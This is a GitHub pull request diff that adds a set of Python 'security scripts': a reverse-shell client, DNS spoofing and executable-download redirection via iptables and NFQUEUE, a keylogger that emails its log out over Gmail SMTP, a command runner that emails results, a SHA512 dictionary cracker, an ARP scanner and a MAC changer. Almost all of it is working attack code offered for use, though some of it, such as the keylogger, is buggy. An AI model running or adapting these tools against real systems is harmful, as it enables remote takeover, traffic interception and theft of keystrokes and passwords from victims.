Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Multiple modern security scripts added #209

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
34 changes: 34 additions & 0 deletions Security/arp.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
import scapy.all as scapy
import subprocess
import sys
import re
import socket

ip = socket.gethostbyname(socket.gethostname())

def scan(ip):
arp_request = scapy.ARP(pdst=ip) #Creates a request with that IP
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") #broadcast mac address
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0] #Lists that gave a response


#Printing them out
print("IP\t\t\tMAC Address\n----------------------------------------")
for element in answered_list:
try:
print(element[1].psrc + "\t\t" + element[1].hwsrc)
except:
return 0


def main():
global ip
while ip[-1] != '.':
ip = ip[:-1]
scan(ip + "1/24")

if __name__ == '__main__':
if len(sys.argv) > 1:
opt_ip = sys.argv[1]
main()
23 changes: 23 additions & 0 deletions Security/client.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
import socket
import os
import subprocess

s = socket.socket()
host = '' #Local IP Address # Must be inserted before run into code
port = 9999

s.connect((host, port))

while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))

if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
output_byte = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_byte,"utf-8")
currentWD = os.getcwd() + "> "
s.send(str.encode(output_str + currentWD))

print(output_str)
37 changes: 37 additions & 0 deletions Security/dictionary_attack.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
import hashlib
import sys
import crypt

global g_hash

def brute_force(hashstr, fi):
temp = []
counter = 0
if '$6$' in hashstr:
temp = hashstr.split('$')
salt = temp[2]
correct_hash = g_hash
for guess in fi:
counter += 1
guess = guess.rstrip()
result = crypt.crypt(guess, '$6$' + salt)
if result == correct_hash:
print("\n[{0}] Attempts.\n\n".format(counter))
print("[+] Password found: {0}".format(guess))
exit()
print("[-] No password found.")
else:
print("SHA512 hashing algorithm was not used in this instance.")

def main():
global g_hash
if len(sys.argv) < 2:
print("[-] Pass in dictionary file.")
else:
file_cracker = open(sys.argv[1], "r")
g_hash = raw_input("[+] Input the hash [SHA512]: ")
brute_force(g_hash, file_cracker)


if '__main__' == __name__:
main()
50 changes: 50 additions & 0 deletions Security/dns_spoof.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
import subprocess
import netfilterqueue
import scapy.all as scapy

def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if "bing" in qname:
print("[+] Spoofing Target")
answer = scapy.DNSRR(rrname=qname, rdata='10.0.2.15')
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.UDP].chksum
del scapy_packet[scapy.UDP].len

packet.set_payload(str(scapy_packet))

packet.accept()

def main():
opt = 3
try:
while True:
print("Run script on Host[1] or Victim[2]?")
opt = input()
if (opt == 1):
print("[+] Running dns spoof attack on Host...")
subprocess.call("iptables -I OUTPUT -j NFQUEUE --queue-num 0", shell=True)
subprocess.call("iptables -I INPUT -j NFQUEUE --queue-num 0", shell=True)
break
elif (opt == 2):
print("[+] Running dns spoof on Target...")
subprocess.call("iptables -I FORWARD -j NFQUEUE --queue-num 0", shell=True)
break
else:
continue

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet) #Connect it to your queue ID and callback function
queue.run()
except(KeyboardInterrupt):
subprocess.call("iptables --flush", shell=True)
print("\n\n[+] IP Tables flushed")


if __name__ == '__main__':
main()
11 changes: 11 additions & 0 deletions Security/download.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
import requests

def download(url):
get_response = requests.get(url)
file_name = url.split("/")
with open(file_name[-1], "wb") as outfile:
outfile.write(get_response.content)



download("https://proxy.duckduckgo.com/iu/?u=http%3A%2F%2Fst.motortrend.com%2Fuploads%2Fsites%2F5%2F2017%2F11%2F2020-Tesla-Roadster-11.jpg&f=1")
33 changes: 33 additions & 0 deletions Security/execute_commands.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
import subprocess
import smtplib
import os
import optparse
from optparse import OptionParser

def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email,password)
server.sendmail(email, email, message)
server.quit()

def main():
parser = OptionParser()
parser.add_option("-m", "--mail", dest="email", help="Your email")
parser.add_option("-p", "--pass", dest="password", help="Your pass")
(option, args) = parser.parse_args()
email = option.email
password = option.password
while True:
try:
print "\n"
print("{0}~$: ".format(os.getcwd()))
command = raw_input()
result=subprocess.check_output(command, shell=True)
send_mail(email,password, result)
except KeyboardInterrupt:
break
print("Program complete.")

if __name__=='__main__':
main()
41 changes: 41 additions & 0 deletions Security/file_interceptor.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
#!/usr/bin/env python

import netfilterqueue
import scapy.all as scapy
import subprocess

ack_list = []


def set_load(packet, load):
packet[scapy.Raw].load = load
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet


def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.Raw):
if scapy_packet[scapy.TCP].dport == 80:
if ".exe" in scapy_packet[scapy.Raw].load:
print("[+] exe Request")
print(scapy_packet.show())
ack_list.append(scapy_packet[scapy.TCP].ack)

elif scapy_packet[scapy.TCP].sport == 80:
if scapy_packet[scapy.TCP].seq in ack_list:
ack_list.remove(scapy_packet[scapy.TCP].seq)
print("[+] Replacing file.")
modified_packet = set_load(scapy_packet, "HTTP/1.1 301 Moved permanently\nLocation: http://10.0.2.15\n\n")
packet.set_payload(str(modified_packet))

packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

# iptables --flush
# iptables -I FORWARD -j NFQUEUE --queue-num 0
34 changes: 34 additions & 0 deletions Security/keygenerator.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
import os
import random
import sys

# Checks if the key has the correct combination of ASCII values
def bruteforce_key(key):
chsum = 0
for ch in key:
chsum += ord(ch)
sys.stdout.write("{0:3} | {1} \r".format(chsum, key))
sys.stdout.flush()
return chsum

# Creates a key based on all possible characters used in a reasonable password
def initializekey():
key = ""
inc = 0
while True and inc <= 100:
key += random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_!@#$%^&*")
ascii_code = bruteforce_key(key)
if ascii_code > 916:
key = ""
elif ascii_code==916:
print("Password key: {0}\t{1}".format(key, inc))
inc += 1

def main():
initializekey()
print("100 password options found.")

if __name__ == "__main__":
main()


41 changes: 41 additions & 0 deletions Security/keylogger.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
from pynput.keyboard import Listener
import re
import smtplib

def write_to_file(key):
msg = str(key).replace('\'', '')
if msg == 'Key.enter':
msg = '\n'
elif msg == 'Key.space':
msg = ' '
elif msg == 'Key.shift_r':
msg = ''
elif msg =='Key.backspace':
msg = ''
elif msg.find('Key.'): #Was gonna use reg exp but this was simpler
msg==''
elif msg.find('Key.ctrlc'):
email()
msg="SCRIPT STOPPED RUNNING HERE."
with open("log.txt", 'a') as fi:
fi.write(msg)

def email():
subject="Logfile"
try:
with smtplib.SMTP('smtp.gmail.com', 587) as smtp:
smtp.ehlo() # identify ourselves
smtp.starttls() # encrypts traffic
smtp.ehlo()
smtp.login('', '') # LOGS IN
f = open("log.txt", 'r')
body = f.write()
msg = f'Subject: {subject}\n\n{body}'
smtp.sendmail('', '', self.msg)
f.close()
except():
print("Email was not sent successfully...")

with Listener(on_press=write_to_file) as li:
li.join()

43 changes: 43 additions & 0 deletions Security/mac_changer.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
#! usr/bin/env python

# Programmer: Zeid Al-Ameedi
# Details:
# Run as python script.py -i [interface] -m [new mac address]
# Changes the mac address on desired network interface. Uses Regex
# to determine if successful by parsing ifconfig command

import subprocess
import optparse
import re

def main():
global interface
global new_mac

parser = optparse.OptionParser() #initialize instance of that object
parser.add_option("-i", "--interface", dest = "interface", help="Network Interface to change the Mac Address")
parser.add_option("-m", "--mac", dest="new_mac", help = "Enter new mac address in form xx:xx:xx:xx:xx:xx")

(options, args) = parser.parse_args()
if not options.interface or not options.new_mac:
print("Interface and new mac address must be given.")
else:
interface=options.interface
new_mac=options.new_mac
newMac()


def newMac():
subprocess.call(["ifconfig", interface, "down"])
subprocess.call(["ifconfig", interface, "hw", "ether", new_mac])
subprocess.call(["ifconfig", interface, "up"])

output = subprocess.check_output(["ifconfig", interface])
matches = re.search(r"\w\w:\w\w:\w\w:\w\w:\w\w:\w\w", output)
if(new_mac in matches.group()):
print("[+] Mac Address successfully changed to {0}".format(new_mac))
else:
print("[-] Mac Address was not changed.")

if __name__ == '__main__':
main()
Loading